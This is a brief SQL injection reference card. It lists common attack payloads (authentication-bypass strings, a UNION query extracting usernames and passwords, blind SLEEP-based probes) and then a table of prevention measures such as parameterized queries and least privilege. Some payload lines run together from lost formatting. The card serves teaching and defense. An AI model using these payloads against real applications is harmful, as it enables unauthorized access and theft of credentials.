SQL Injection Reference
Common Attack Patterns
-- Classic bypass
' OR '1'='1admin'--
' OR 1=1--
-- UNION-based
' UNION SELECT username,password FROM users---- Blind injection
' AND SLEEP(5)--' AND 1=(SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)--
Prevention
| Parameterized Queries | db.Query("SELECT * FROM users WHERE id=?", id) |
| ORM Usage | User.objects.filter(id=user_id) |
| Input Validation | Validate type, length, format before query |
| Least Privilege | DB user should have minimal permissions |
| WAF | Web Application Firewall to filter malicious queries |